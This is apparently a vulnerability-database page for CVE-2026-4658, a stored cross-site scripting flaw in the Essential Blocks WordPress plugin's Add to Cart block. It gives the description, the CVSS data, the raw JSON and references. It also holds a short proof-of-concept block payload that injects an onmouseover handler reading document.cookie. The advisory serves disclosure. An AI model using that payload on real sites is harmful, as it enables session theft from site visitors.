Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-4658 CVSS 6.4 MEDIUM

CVE-2026-4658

Published: 2026-05-02 05:16:01
Last Modified: 2026-05-05 19:17:23

Description

The Essential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the className, classHook, and blockId attributes in the Add to Cart block (essential-blocks/add-to-cart) in all versions up to, and including, 6.0.4. This is due to insufficient output escaping in the render_callback() function where these attributes are placed into class and data-id HTML attributes using raw sprintf() and implode() without esc_attr() escaping. While the outer wrapper div uses get_block_wrapper_attributes() which properly escapes, the inner divs do not. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Essential Blocks <= 6.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC Concept for Stored XSS in Essential Blocks Attacker: Contributor+ Target: className attribute of Add to Cart block --> <!-- Step 1: Insert the block and modify the JSON payload in the editor --> <!-- wp:essential-blocks/add-to-cart { "className": "safe-class\" onmouseover=\"alert(document.cookie)\"", "blockId": "test-id" } /--> <!-- Step 2: Resulting HTML (vulnerable) --> <!-- <div class="safe-class" onmouseover="alert(document.cookie)" ...> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4658", "sourceIdentifier": "[email protected]", "published": "2026-05-02T05:16:00.767", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Essential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the className, classHook, and blockId attributes in the Add to Cart block (essential-blocks/add-to-cart) in all versions up to, and including, 6.0.4. This is due to insufficient output escaping in the render_callback() function where these attributes are placed into class and data-id HTML attributes using raw sprintf() and implode() without esc_attr() escaping. While the outer wrapper div uses get_block_wrapper_attributes() which properly escapes, the inner divs do not. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/tags/6.0.4/includes/Blocks/AddToCart.php#L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/tags/6.0.4/includes/Blocks/AddToCart.php#L120", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/tags/6.0.4/includes/Blocks/AddToCart.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/tags/6.0.4/includes/Blocks/AddToCart.php#L66", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/trunk/includes/Blocks/AddToCart.php#L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/trunk/includes/Blocks/AddToCart.php#L120", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/trunk/includes/Blocks/AddToCart.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/trunk/includes/Blocks/AddToCart.php#L66", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3516287%40essential-blocks%2Ftags%2F6.1.0%2Fincludes%2FBlocks%2FAddToCart.php&old=3178777%40essential-blocks%2Ftrunk%2Fincludes%2FBlocks%2FAddToCart.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3e7eed9d-2d44-4951-b66b-7d8995ca617d?source=cve", "source": "[email protected]"}]}}